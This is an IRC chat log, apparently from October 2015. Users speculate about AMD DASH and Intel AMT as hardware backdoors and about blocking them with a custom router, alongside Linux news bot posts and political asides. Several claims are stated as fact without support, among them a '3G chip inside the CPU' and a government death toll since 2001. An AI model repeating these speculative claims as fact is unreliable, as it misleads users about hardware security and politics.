| msb_ | It's easy to understand the world situation if you go back to the 1980s, when Reagan armed and financed the jihadi Mujahideen to defeat the Russian-allied liberal socialist government in Afghanistan. That led to the Taliban taking over, and the Mujahideen became Al Qaeda. The Neocons/Likudniks took it from there to the present. | Oct 05 03:33 |
| cubexyz | interesting | Oct 05 03:47 |
| cubexyz | I had a discussion with the PDP-11 experts | Oct 05 03:47 |
| cubexyz | there's no PDP-11 BIOS, it didn't exist | Oct 05 03:47 |
| cubexyz | and they declare the PC as 'broken hardware' | Oct 05 03:48 |
| cubexyz | the PDP-11 had only boot roms | Oct 05 03:49 |
| msb_ | For the PC being "broken hardware" I sure had a great time with it! | Oct 05 04:01 |
| cubexyz | back in 1984 I remember reading articles that were critical of the IBM PC | Oct 05 04:02 |
| msb_ | Far more powerful than the PDP-8/PDP-12 I was used to, much cheaper, and mine, all mine! | Oct 05 04:02 |
| msb_ | I eventually hung a color display on it with a high-res graphic card, a 720KB floppy, a 15MB hard drive, and bought the manual with the schematics and BIOS listing. | Oct 05 04:04 |
| msb_ | Bought the MS and Borland (much better) C compilers and taught myself programming. | Oct 05 04:05 |
| cubexyz | I think my first 286 had 1 meg of memory | Oct 05 04:06 |
| cubexyz | 640k with 384k extended memory | Oct 05 04:07 |
| cubexyz | no MMU and a rather awkward x86 memory segmentation scheme | Oct 05 04:08 |
| msb_ | I think you said I want an AMD mobo without DASH in the BIOS. But isn't DASH a microprocessor inside the CPU that can be activated without BIOS assistance? | Oct 05 04:08 |
| cubexyz | that's a good question | Oct 05 04:09 |
| cubexyz | part of it must be in the BIOS though | Oct 05 04:10 |
| msb_ | But can the govt get in without that part? | Oct 05 04:10 |
| msb_ | I want my 8 cores! Waah! | Oct 05 04:11 |
| cubexyz | with DASH someone could take full control of your computer | Oct 05 04:12 |
| msb_ | Can DASH be defeated by constantly overwriting the section of himem that it uses (if it works like AMT)? | Oct 05 04:12 |
| cubexyz | also DASH has a kill switch | Oct 05 04:12 |
| msb_ | I know! I read all your stuff! | Oct 05 04:13 |
| cubexyz | remember that there's a part of memory reserved for DASH that you can't write to | Oct 05 04:13 |
| msb_ | If the govt can get into DASH via the NIC, why can't I? | Oct 05 04:15 |
| cubexyz | you can | Oct 05 04:15 |
| msb_ | Hoo-hah! Then I can whack it! | Oct 05 04:16 |
| cubexyz | there are even advantages to using DASH, such as remote control of your computer | Oct 05 04:16 |
| cubexyz | I'm just worried that the bad guys and NSA can do the same | Oct 05 04:17 |
| cubexyz | it seems unnecessary to me as I can always do that via ssh | Oct 05 04:17 |
| cubexyz | DASH control seems more severe | Oct 05 04:18 |
| cubexyz | in theory if your laptop is stolen, DASH can kill it so the bad guy can't use it | Oct 05 04:19 |
| cubexyz | that's the idea anyways | Oct 05 04:19 |
| msb_ | Can a good stream-following firewall in a router keep the baddies out? | Oct 05 04:20 |
| cubexyz | see, DASH operates at a lower level that the OS | Oct 05 04:22 |
| cubexyz | that's the problem | Oct 05 04:23 |
| cubexyz | a smart hacker could turn your fans off | Oct 05 04:24 |
| msb_ | But the govt would still have to activate DASH by sending it some kind of packet(s). Can I keep those out with a firewall in a router? | Oct 05 04:24 |
| cubexyz | NSA can hack your router | Oct 05 04:25 |
| cubexyz | so I'd say probably it's not a great defense | Oct 05 04:25 |
| cubexyz | I know some hackers can KO the router... make it unresponsive | Oct 05 04:25 |
| cubexyz | that's annoying but not too serious | Oct 05 04:26 |
| cubexyz | I mean the whole DASH thing is a back door into the computer | Oct 05 04:27 |
| msb_ | Are there any secure routers? Could I make one from an SBC? | Oct 05 04:27 |
| cubexyz | the bad guys sometimes attack your ISP as well | Oct 05 04:28 |
| cubexyz | well yes, if you programmed the router yourself it would be quite hard to attack | Oct 05 04:28 |
| msb_ | Well, then I get disconnected, but I still have my data. | Oct 05 04:29 |
| cubexyz | sure | Oct 05 04:29 |
| cubexyz | business grade cisco routers are better than the store bought ones | Oct 05 04:30 |
| cubexyz | more expensive too | Oct 05 04:30 |
| msb_ | There's FOSS code for routers, so I could start from there. | Oct 05 04:30 |
| msb_ | Are the packets that activate DASH well defined? | Oct 05 04:30 |
| msb_ | I could make the router examine all packets and drop those (and give an alarm). | Oct 05 04:31 |
| cubexyz | it would be a lot simpler if there was no DASH capability on the motherboard | Oct 05 04:32 |
| msb_ | Are you sure it's required to access DASH in the CPU? | Oct 05 04:33 |
| msb_ | brb | Oct 05 04:34 |
| cubexyz | I think Intel Vpro is actually inside the CPU so AMD's version probably is as well | Oct 05 04:35 |
| cubexyz | it could be doing all sorts of stuff which is invisible to the user | Oct 05 04:36 |
| cubexyz | there's a 3G chip _inside_ the CPU | Oct 05 04:37 |
| cubexyz | a second processor inside the main one | Oct 05 04:37 |
| cubexyz | so the question is, does the NSA have a back door into these CPUs | Oct 05 04:38 |
| cubexyz | I don't see what the averager user can do to stop that | Oct 05 04:39 |
| cubexyz | Intel confirmed they have a kill switch | Oct 05 04:40 |
| cubexyz | it gets even better... | Oct 05 04:40 |
| cubexyz | there's out-of-band communications that a normal user can't even see or use | Oct 05 04:40 |
| cubexyz | it's a bit of a problem | Oct 05 04:41 |
| cubexyz | you get a specific RF knock-knock and... well who knows | Oct 05 04:45 |
| cubexyz | maybe look at the snowden stuff if there's a torrent or something | Oct 05 04:47 |
| msb_ | But if I don't use wifi at all -- short the antenna to ground if necessary -- then my only connection is via the TV cable. So if I put a total packet inspection router in the wire to the cable modem, I should be able to stop all DASH-bound packets, if I can identify them. | Oct 05 04:51 |
| msb_ | brb | Oct 05 04:55 |
| cubexyz | "commands can be received via 3G signals, ethernet or other internet connections | Oct 05 05:16 |
| cubexyz | " | Oct 05 05:16 |
| cubexyz | there are two TCP/IP stacks! | Oct 05 05:23 |
| cubexyz | one in the firmware, and one in the OS | Oct 05 05:23 |
| msb_ | Right, but I have complete control of what's connected to the NIC(s), and can eliminate everything but the ethernet cable to my cable-modem. | Oct 05 05:42 |
| msb_ | Since DASH is supposed to be for corps to control their computers, the DASH commo protocol must be available. | Oct 05 05:45 |
| msb_ | Plus, the router SBC or another one on my side of the router, can keep sending DASH packets shutting it down. | Oct 05 05:50 |
| msb_ | cubexyz: This could be done by anyone, even someone using wifi, if they put the wifi transceiver on the far side of the router. | Oct 05 05:51 |
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| r_schestowitz | "Manson looks like a Klingon, doesn’t he?" | Oct 05 08:26 |
| r_schestowitz | I didn't know it was Manson | Oct 05 08:26 |
| msb_ | The TV show Madame Secretary, starring Tea Leoni, has started its second season, this episode directed by Morgan Freeman. It is absolutely wonderful! | Oct 05 08:44 |
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| TweetTuxMachines | @tuxmachines Wind River Continues Advancing Development of | Oct 05 09:40 |
| TweetTuxMachines | IoT Devices with Latest Version of | Oct 05 09:40 |
| TweetTuxMachines | Market-Leading Linux Offering | Oct 05 09:40 |
| TweetTuxMachines | http://t.co/rbvy94nz3m (www.tuxmachines.org) | Oct 05 09:40 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Wind River Continues Advancing Development of IoT Devices with Latest Version of Market-Leading Linux Offering | Tux Machines | Oct 05 09:40 | |
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| TweetTuxMachines | @tuxmachines Manjaro Update 2015-10-04 (testing) | Oct 05 10:11 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Manjaro Update 2015-10-04 (testing) | Tux Machines | Oct 05 10:11 | |
| TweetTuxMachines | @tuxmachines Huawei Watch Review: Best Android Wear | Oct 05 10:11 |
| TweetTuxMachines | Smartwatch Available http://t.co/Jv329gRzP6 | Oct 05 10:11 |
| -TechrightsBot-tr/#techrights-www.gottabemobile.com | Huawei Watch Review: Best Android Wear Smartwatch Available | Oct 05 10:11 | |
| TweetTuxMachines | (www.gottabemobile.com) | Oct 05 10:11 |
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| TweetTuxMachines | @tuxmachines Unicode 8.0 Support Added To GNOME's GLib | Oct 05 10:11 |
| TweetTuxMachines | http://t.co/2s0jSlGgaF (www.phoronix.com) | Oct 05 10:11 |
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| -TechrightsBot-tr/#techrights-www.phoronix.com | Unicode 8.0 Support Added To GNOME's GLib - Phoronix | Oct 05 10:11 | |
| TweetTuxMachines | @tuxmachines Linux 3.18.22 http://t.co/X9SJjHZZn8 | Oct 05 10:13 |
| -TechrightsBot-tr/#techrights-lkml.iu.edu | Linux-Kernel Archive: Linux 3.18.22 | Oct 05 10:13 | |
| TweetTuxMachines | (lkml.iu.edu) | Oct 05 10:13 |
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| TweetTuxMachines | @tuxmachines 4MRecover 14.0 Distrolette Enters Beta with | Oct 05 10:13 |
| TweetTuxMachines | TestDisk 7.0, Based on 4MLinux 14.0 | Oct 05 10:13 |
| TweetTuxMachines | http://t.co/mi0Yjkgzct (linux.softpedia.com) | Oct 05 10:13 |
| -TechrightsBot-tr/#techrights-linux.softpedia.com | 4MRecover 14.0 Distrolette Enters Beta with TestDisk 7.0, Based on 4MLinux 14.0 - Softpedia | Oct 05 10:13 | |
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| TweetTuxMachines | @tuxmachines Parsix GNU/Linux 8.5 "Atticus" Is One of the | Oct 05 10:13 |
| TweetTuxMachines | First Distributions with GNOME 3.18 | Oct 05 10:13 |
| TweetTuxMachines | http://t.co/fhCzX3igIf (news.softpedia.com) | Oct 05 10:13 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Parsix GNU/Linux 8.5 "Atticus" Is One of the First Distributions with GNOME 3.18 - Softpedia | Oct 05 10:13 | |
| TweetTuxMachines | @tuxmachines Manjaro Update 2015-10-04 (testing) | Oct 05 10:15 |
| TweetTuxMachines | https://t.co/9769caRK5L (manjaro.github.io) | Oct 05 10:15 |
| -TechrightsBot-tr/#techrights-manjaro.github.io | Manjaro Update 2015-10-04 (testing) – Manjaro Linux – Enjoy the simplicity | Oct 05 10:15 | |
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| *TweetTuxMachines @Tech_Switz favourited '"485 out of 500 systems were using Linux"...' | Oct 05 10:15 | |
| TweetTuxMachines | @tuxmachines Scibuntu 0.4 Beta Is Out, Transforms Ubuntu | Oct 05 10:19 |
| TweetTuxMachines | Into an OS for Scientists and Science Students | Oct 05 10:19 |
| TweetTuxMachines | http://t.co/9DYhNj8uas (linux.softpedia.com) | Oct 05 10:19 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | Scibuntu 0.4 Beta Is Out, Transforms Ubuntu Into an OS for Scientists and Science Students - Softpedia | Oct 05 10:19 | |
| TweetTuxMachines | @tuxmachines Canonical launches new #InternetOfToys | Oct 05 10:19 |
| TweetTuxMachines | initiative with partners http://t.co/QoiDJT33Sa | Oct 05 10:19 |
| TweetTuxMachines | (insights.ubuntu.com) another buzzword. | Oct 05 10:20 |
| -TechrightsBot-tr/#techrights-insights.ubuntu.com | Canonical launches new ‘#InternetOfToys’ initiative with partners | Ubuntu Insights | Oct 05 10:20 | |
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| TweetTuxMachines | @tuxmachines Meet #WorldWithoutLinux Animator Amelia Lorenz | Oct 05 10:20 |
| TweetTuxMachines | http://t.co/3X0oIAx8mZ (www.linux.com) | Oct 05 10:20 |
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| -TechrightsBot-tr/#techrights-www.linux.com | Meet #WorldWithoutLinux Animator Amelia Lorenz | Linux.com | Oct 05 10:20 | |
| TweetTuxMachines | @tuxmachines The @LinuxFoundation Announces Project to | Oct 05 10:20 |
| TweetTuxMachines | Advance Real-Time Linux http://t.co/XruaBZcJQi | Oct 05 10:20 |
| TweetTuxMachines | (www.marketwatch.com) | Oct 05 10:20 |
| -TechrightsBot-tr/#techrights-www.marketwatch.com | The Linux Foundation Announces Project to Advance Real-Time Linux - MarketWatch | Oct 05 10:20 | |
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| TweetTuxMachines | @tuxmachines AVTEST Laboratory Says Free Anti-Virus Apps on | Oct 05 10:55 |
| TweetTuxMachines | Linux Are the Worst http://t.co/KHBpMKU7vm | Oct 05 10:55 |
| TweetTuxMachines | (news.softpedia.com) | Oct 05 10:55 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | AV-TEST Laboratory Says Free Anti-Virus Apps on Linux Are the Worst - Softpedia | Oct 05 10:55 | |
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| TweetTuxMachines | @tuxmachines Links 4/10/2015: Linux 4.2.3 , 4.1.10; MPlayer | Oct 05 10:55 |
| TweetTuxMachines | retweeted by 1.2 released http://t.co/QDR0RwXlZb | Oct 05 10:55 |
| TweetTuxMachines | @schestowitz (techrights.org) | Oct 05 10:55 |
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| -TechrightsBot-tr/#techrights-techrights.org | Links 4/10/2015: Linux 4.2.3 , 4.1.10; MPlayer 1.2 released | Techrights | Oct 05 10:55 | |
| TweetTuxMachines | @tuxmachines Scibuntu 0.4 Beta Is Out, Transforms Ubuntu | Oct 05 10:55 |
| TweetTuxMachines | Into an OS for Scientists and Science Students | Oct 05 10:55 |
| TweetTuxMachines | http://t.co/wrZ3dMCvWU (www.tuxmachines.org) | Oct 05 10:55 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Scibuntu 0.4 Beta Is Out, Transforms Ubuntu Into an OS for Scientists and Science Students | Tux Machines | Oct 05 10:55 | |
| TweetTuxMachines | @tuxmachines Canonical launches new ‘#InternetOfToys’ | Oct 05 10:55 |
| TweetTuxMachines | initiative with partners http://t.co/lROmiM5Jqr | Oct 05 10:55 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Canonical launches new ‘#InternetOfToys’ initiative with partners | Tux Machines | Oct 05 10:55 | |
| TweetTuxMachines | @tuxmachines Meet #WorldWithoutLinux Animator Amelia Lorenz | Oct 05 10:55 |
| TweetTuxMachines | http://t.co/gXMLVqCzTO (www.tuxmachines.org) | Oct 05 10:55 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Meet #WorldWithoutLinux Animator Amelia Lorenz | Tux Machines | Oct 05 10:55 | |
| TweetTuxMachines | @tuxmachines The Linux Foundation Announces Project to | Oct 05 10:56 |
| TweetTuxMachines | Advance Real-Time Linux http://t.co/XycEB1Aslq | Oct 05 10:56 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 05 10:56 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | The Linux Foundation Announces Project to Advance Real-Time Linux | Tux Machines | Oct 05 10:56 | |
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| TweetTuxMachines | @tuxmachines AV-TEST Laboratory Says Free Anti-Virus Apps on | Oct 05 10:56 |
| TweetTuxMachines | Linux Are the Worst http://t.co/48o80fjNG9 | Oct 05 10:56 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 05 10:56 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | AV-TEST Laboratory Says Free Anti-Virus Apps on Linux Are the Worst | Tux Machines | Oct 05 10:56 | |
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| *TweetTuxMachines @techmuser favourited 'AV-TEST Laboratory Says Free Anti-Virus Apps on Linux...' | Oct 05 11:41 | |
| *TweetTuxMachines @techmuser favourited 'The Linux Foundation Announces Project to Advance Real-Time...' | Oct 05 11:41 | |
| TweetTuxMachines | @tuxmachines PPSSPP 1.1 Gets ARM64 and Android TV Support, | Oct 05 12:13 |
| TweetTuxMachines | Still the Best Free PSP Emulator | Oct 05 12:13 |
| TweetTuxMachines | http://t.co/KlJQk5AMmK (news.softpedia.com) | Oct 05 12:13 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | PPSSPP 1.1 Gets ARM64 and Android TV Support, Still the Best Free PSP Emulator - Softpedia | Oct 05 12:13 | |
| TweetTuxMachines | @tuxmachines Danish public libraries unite around open | Oct 05 12:13 |
| TweetTuxMachines | source http://t.co/wIyqmajcYm | Oct 05 12:13 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Danish public libraries unite around open source | Tux Machines | Oct 05 12:13 | |
| TweetTuxMachines | @tuxmachines Exploring the Raspberry Pi Sense HAT | Oct 05 12:14 |
| TweetTuxMachines | http://t.co/NZUoPGeyTs (www.tuxmachines.org) | Oct 05 12:14 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Exploring the Raspberry Pi Sense HAT | Tux Machines | Oct 05 12:14 | |
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| TweetTuxMachines | @tuxmachines Ubuntu 15.10: More kitten than beast – but | Oct 05 13:42 |
| TweetTuxMachines | beware the claws http://t.co/Gcyyyvkh1H | Oct 05 13:42 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Ubuntu 15.10: More kitten than beast – but beware the claws | Tux Machines | Oct 05 13:42 | |
| TweetTuxMachines | @tuxmachines Media Advisory: Linux Foundation Debuts Digital | Oct 05 13:42 |
| TweetTuxMachines | Video Series to Raise Awareness of the Ubiquity | Oct 05 13:42 |
| TweetTuxMachines | of Linux http://t.co/X1T1idFeRU | Oct 05 13:42 |
| TweetTuxMachines | (www.digitaljournal.com) | Oct 05 13:42 |
| -TechrightsBot-tr/#techrights-www.digitaljournal.com | Media Advisory: Linux Foundation Debuts Digital Video Series to Raise Awareness of the Ubiquity of Linux - Press Release - Digital Journal | Oct 05 13:42 | |
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| TweetTuxMachines | @tuxmachines World Without Linux Video Series Debuts | Oct 05 13:42 |
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| -TechrightsBot-tr/#techrights-www.linux.com | World Without Linux Video Series Debuts | Linux.com | Oct 05 13:42 | |
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| TweetTuxMachines | @tuxmachines Exploring the Raspberry Pi Sense HAT | Oct 05 13:55 |
| TweetTuxMachines | http://t.co/JIh5AxZHB4 (opensource.com) | Oct 05 13:55 |
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| -TechrightsBot-tr/#techrights-opensource.com | A look at the Raspberry Pi Sense HAT | Opensource.com | Oct 05 13:56 | |
| TweetTuxMachines | @tuxmachines Ubuntu 15.10: More kitten than beast – but | Oct 05 13:56 |
| TweetTuxMachines | beware the claws http://t.co/GjLkB1FsLR | Oct 05 13:56 |
| TweetTuxMachines | (www.theregister.co.uk) | Oct 05 13:56 |
| -TechrightsBot-tr/#techrights-www.theregister.co.uk | Ubuntu 15.10: More kitten than beast – but beware the claws • The Register | Oct 05 13:56 | |
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| TweetTuxMachines | @tuxmachines Thus versus Calamares: Comparing Manjaro 15.09 | Oct 05 13:56 |
| TweetTuxMachines | installers http://t.co/igM017dEtr | Oct 05 13:56 |
| -TechrightsBot-tr/#techrights-www.zdnet.com | Thus versus Calamares: Comparing Manjaro 15.09 installers | ZDNet | Oct 05 13:56 | |
| TweetTuxMachines | (www.zdnet.com) | Oct 05 13:56 |
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| TweetTuxMachines | @tuxmachines Solus Operating System Is Being Delayed Due to | Oct 05 14:57 |
| TweetTuxMachines | Bad Karma http://t.co/8NouGd6AqH | Oct 05 14:57 |
| TweetTuxMachines | (news.softpedia.com) | Oct 05 14:57 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Solus Operating System Is Being Delayed Due to Bad Karma - Softpedia | Oct 05 14:57 | |
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| TweetTuxMachines | @tuxmachines Trine 3: The Artifacts Of Power Linux Beta | Oct 05 14:57 |
| TweetTuxMachines | Released https://t.co/AwHC2b0n3B | Oct 05 14:57 |
| TweetTuxMachines | (www.gamingonlinux.com) "Trine 3: The Artifacts | Oct 05 14:57 |
| TweetTuxMachines | of Power in beta form." | Oct 05 14:57 |
| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Trine 3: The Artifacts Of Power Linux Beta Released | GamingOnLinux | Oct 05 14:57 | |
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| TweetTuxMachines | @tuxmachines Linux vigilante fixes your router | Oct 05 14:57 |
| TweetTuxMachines | http://t.co/M9Ztjoj9oo (www.tuxmachines.org) | Oct 05 14:57 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux vigilante fixes your router | Tux Machines | Oct 05 14:57 | |
| TweetTuxMachines | @tuxmachines KPMG: five good reasons to use open souce | Oct 05 14:57 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | KPMG: five good reasons to use open souce | Tux Machines | Oct 05 14:57 | |
| TweetTuxMachines | @tuxmachines Navigating a sea of frontend frameworks | Oct 05 14:57 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Navigating a sea of frontend frameworks | Tux Machines | Oct 05 14:57 | |
| TweetTuxMachines | @tuxmachines Solus Operating System Is Being Delayed Due to | Oct 05 14:58 |
| TweetTuxMachines | Bad Karma http://t.co/lt8MSLl41e | Oct 05 14:58 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Solus Operating System Is Being Delayed Due to Bad Karma | Tux Machines | Oct 05 14:58 | |
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| MinceR | http://www.mcsweeneys.net/articles/nihilistic-password-security-questions | Oct 05 15:02 |
| -TechrightsBot-tr/#techrights-www.mcsweeneys.net | McSweeney’s Internet Tendency: List: Nihilistic Password Security Questions. [ http://ur1.ca/nx37k ] | Oct 05 15:02 | |
| MinceR | (javascript) http://www.pcjs.org/devices/pc/machine/5160/cga/256kb/win101/ | Oct 05 15:10 |
| -TechrightsBot-tr/#techrights-www.pcjs.org | pcjs.org | /devices/pc/machine/5160/cga/256kb/win101/ [ http://ur1.ca/nx39u ] | Oct 05 15:10 | |
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| TweetTuxMachines | @tuxmachines Trine 3: The Artifacts Of Power Linux Beta | Oct 05 16:01 |
| TweetTuxMachines | Released http://t.co/grkWH18f5I | Oct 05 16:01 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 05 16:01 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Trine 3: The Artifacts Of Power Linux Beta Released | Tux Machines | Oct 05 16:01 | |
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| *TweetTuxMachines got exception: Unexpected end of ZLIB input stream ; reconnecting to Twitter... | Oct 05 16:01 | |
| msb_ | What will TPP do? http://www.globalresearch.ca/as-secret-trade-talks-reveal-cracks-demonstrators-aim-death-blows-at-tpp/5479476 | Oct 05 17:34 |
| -TechrightsBot-tr/#techrights-www.globalresearch.ca | As Secret Trade Talks Reveal Cracks, Demonstrators Aim Death Blows at TPP | Global Research - Centre for Research on Globalization [ http://ur1.ca/nx43m ] | Oct 05 17:34 | |
| msb_ | Prevent GMO labelling? Limit amount of nutrients that can be sold? Totally secret, written by huge corporations who knows? | Oct 05 17:36 |
| cubexyz | Intel AMT can remotely power up, power down and reboot a computer | Oct 05 17:47 |
| cubexyz | it can remotely troubleshoot the system even if the host operating system is off or crashed | Oct 05 17:48 |
| cubexyz | remotely view and change the BIOS configuration settings | Oct 05 17:48 |
| cubexyz | monitor which applications are running on the host OS | Oct 05 17:49 |
| cubexyz | this includes changing the boot device remotely | Oct 05 17:49 |
| cubexyz | you can remotely reflash the BIOS too | Oct 05 17:50 |
| cubexyz | it's the ultimate backdoor into the computer | Oct 05 17:51 |
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| msb_ | AMT can kill the user using electric shock or microwaves. | Oct 05 18:49 |
| msb_ | AMT can sell the computer and give the money to the government. | Oct 05 18:50 |
| msb_ | AMT can kick your girlfriend and rape your dog. | Oct 05 18:54 |
| msb_ | AMT can make you get a tatoo that says "Windows Inside". | Oct 05 18:55 |
| msb_ | AMT can sell your brain to the nearest zombie -- cheap! | Oct 05 18:56 |
| cubexyz | :) | Oct 05 19:21 |
| cubexyz | just imagine AMT combined with windows 10 | Oct 05 19:26 |
| cubexyz | the user wouldn't have a chance | Oct 05 19:26 |
| cubexyz | http://www.maxhost.org/other/another-happy-windows-10-customer.txt | Oct 05 19:27 |
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| msb_ | Well, that's good. He's ready to wipe his disk and install Linux! | Oct 05 20:28 |
| msb_ | Or buy another disk and try to get his data off this one. | Oct 05 20:30 |
| MinceR | and if he's not careful he'll get lendows | Oct 05 20:37 |
| MinceR | and he'll end up where he started | Oct 05 20:37 |
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| cubexyz | my bet advice is have one openbsd machine | Oct 05 21:03 |
| cubexyz | s/bet/best/ | Oct 05 21:03 |
| cubexyz | yes, things are a bit of a mess nowadays | Oct 05 21:06 |
| cubexyz | one of the reasons why operating systems are so problematic is they have gotten so bloated | Oct 05 21:14 |
| cubexyz | it's really hard to avoid it | Oct 05 21:14 |
| cubexyz | my typical openbsd session uses about 50 processes | Oct 05 21:17 |
| cubexyz | my typical Linux sessions uses about 100 processes | Oct 05 21:17 |
| cubexyz | and it doesn't seem to matter which era of Linux it is... FC1 is about 100 processes, Slackware 12.1 is about 100 processes | Oct 05 21:17 |
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| msb_ | That's not really a problem, because today's computers have so much speed and memory, | Oct 05 21:18 |
| msb_ | Hopefully Devuan will get going (some people are already using it in alpha) and then we'll have a Linux we can use and recommend. | Oct 05 21:19 |
| cubexyz | well, it's not a huge problem as I can run BL3 with 8 processes | Oct 05 21:22 |
| cubexyz | it's pretty much on par with Unix v5 other that the fact it uses quite a lot more memory | Oct 05 21:23 |
| cubexyz | su | Oct 05 21:23 |
| cubexyz | some distros do support older computers | Oct 05 21:33 |
| cubexyz | non-PAE computers for example | Oct 05 21:34 |
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| msb_ | cubexyz: I went to the amd.com website an put DASH in the search bar at upper right, and got lots of relevant hits. | Oct 05 22:12 |
| MinceR | that speed and memory won't help you if you waste it all | Oct 05 22:14 |
| MinceR | also, bloated code is also complex, which leads to more bugs | Oct 05 22:14 |
| MinceR | what's DASH? | Oct 05 22:16 |
| r_schestowitz | https://twitter.com/trancotrans15/status/651145064786214912 | Oct 05 22:23 |
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| -TechrightsBot-tr/#techrights-@schestowitz: #SteamOS Brewmaster Now Has Improved Auto-Repair Function http://t.co/dkJDg06ee5 #games #gnu #linux | Oct 05 22:23 | |
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| r_schestowitz | https://twitter.com/Trancotrans/status/651147320969396225 | Oct 05 22:37 |
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| cubexyz | DASH = Desktop and mobile Architecture for System Hardware | Oct 05 22:51 |
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| MinceR | http://www.madmagazine.com/blog/2015/10/05/carly-fiorina-updates-her-facebook-profile-pic | Oct 06 00:22 |
| -TechrightsBot-tr/#techrights-www.madmagazine.com | Carly Fiorina Updates Her Facebook Profile Pic | Mad Magazine [ http://ur1.ca/nx7m0 ] | Oct 06 00:22 | |
| msb_ | MinceR: I have 8GB of RAM and an old 2-core cpu. Linux only uses about 10% of each. "Bloat" is not a problem with modern computers (or 5 year old ones). | Oct 06 00:38 |
| MinceR | it still is, for example with the "modern" web or other "modern" software such as cancerd | Oct 06 00:42 |
| msb_ | I have about 300 processes -- lots of bash's and mc's. Firefox uses 30% of the cpu because I have lots of windows and tabs. Otherwise it wouldn | Oct 06 00:45 |
| msb_ | MinceR: I have about 300 processes -- lots of bash's and mc's. Firefox uses 30% of the cpu because I have lots of windows and tabs. Otherwise it wouldn't. I will never use systemd. | Oct 06 00:45 |
| MinceR | afaict bash and mc aren't bad at all | Oct 06 00:46 |
| MinceR | no wonder the kids don't like either :> | Oct 06 00:46 |
| msb_ | Using konsole, mc, and klipper, I've developed scripts for CLI drag-n-drop that can move, copy, compare, etc, any file between two directories, even in different desktops, using only about 3 keystrokes. | Oct 06 00:49 |
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| msb_ | Extremely informative interview of Temple Grandin about her work on non-cruel animal husbandry and autism on RT program Watching the Hawks. | Oct 06 02:57 |
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| TweetTuxMachines | @tuxmachines Manjaro JWM Edition 41015 released | Oct 06 04:30 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Manjaro JWM Edition 41015 released | Tux Machines | Oct 06 04:30 | |
| TweetTuxMachines | @tuxmachines Fedora 24 Linux Operating System to Use | Oct 06 04:30 |
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| msb_ | Temple Grandin said that high-functioning autistics like herself created the computer revolution. | Oct 06 07:00 |
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| msb_ | What if psychopath characteristics have spread in greater or lesser degree to most of the people in Western culture. Would that result in most young boys in the 1950s being interested only in sports, various models of cars, pretending to be cowboys killing Indians, and pretending to be US soldiers killing "japs"? That's what I found, and I couldn't relate to them. Out of hundreds, I found two with intellectual interests like mine, | Oct 06 07:10 |
| msb_ | and was friends with them. But my parents said I was mentally ill and threatened to have me lobotomized. I graduated with the highest grades in the advanced high school of Philadelphia (a city of 2.5 million). | Oct 06 07:10 |
| msb_ | Which I keep thinking is the approximate number of people that the US govt has murdered since 2001. | Oct 06 07:11 |
| msb_ | If almost all members of our culture have a similar mental illness, they will perceive themselves as normal, and anyone who doesn't have it as sick. | Oct 06 07:22 |
| msb_ | Psychologists, sociologists and archeologists Wilhelm Reich, Marija Gimbutas, Riane Eisler, George Gurdjieff, Peter Ouspensky, and Jean Liedloff all found, in their research, that this is the way things are. | Oct 06 07:25 |
| *TweetTuxMachines @LATechInvestors favourited 'Launchpad Is Preparing for Snappy Packages, More Improvements...' | Oct 06 07:26 | |
| TweetTuxMachines | @tuxmachines Wine Is Coming to Android for Intel Processors | Oct 06 07:26 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Wine Is Coming to Android for Intel Processors | Tux Machines | Oct 06 07:26 | |
| msb_ | But people who talk about it, and its implications, get chased out of nine villages (or is it sixteen?). | Oct 06 07:27 |
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| TweetTuxMachines | @tuxmachines Android Marshmallow: What, when, and where? | Oct 06 09:44 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Android Marshmallow: What, when, and where? | Tux Machines | Oct 06 09:44 | |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Audacious 3.7 Finally Enters Beta, Ports the Winamp Classic Interface Plugin to Qt | Tux Machines | Oct 06 09:44 | |
| TweetTuxMachines | @tuxmachines No, Microsoft Is Not Buying Canonical | Oct 06 09:44 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | No, Microsoft Is Not Buying Canonical - Softpedia | Oct 06 09:44 | |
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| TweetTuxMachines | in Ubuntu 15.04 and Ubuntu 14.04 LTS | Oct 06 10:36 |
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| TweetTuxMachines | @tuxmachines Ubuntu Unity 8 Convergence: Nexus 4 Phone | Oct 06 10:37 |
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| TweetTuxMachines | @tuxmachines Linux: Chapeau has now dropped the Korora | Oct 06 10:37 |
| TweetTuxMachines | software repository http://t.co/RrjZbl7cNy | Oct 06 10:37 |
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| TweetTuxMachines | @tuxmachines Manjaro JWM Edition 41015 released | Oct 06 10:40 |
| TweetTuxMachines | https://t.co/m8WtYiWHfV (manjaro.github.io) | Oct 06 10:40 |
| -TechrightsBot-tr/#techrights-manjaro.github.io | Manjaro JWM Edition 41015 released – Manjaro Linux – Enjoy the simplicity | Oct 06 10:40 | |
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| *TweetTuxMachines @RamiSilawi retweeted @tuxmachines: 'Ubuntu Unity 8 Convergence: Nexus 4 Phone Converging...' | Oct 06 10:40 | |
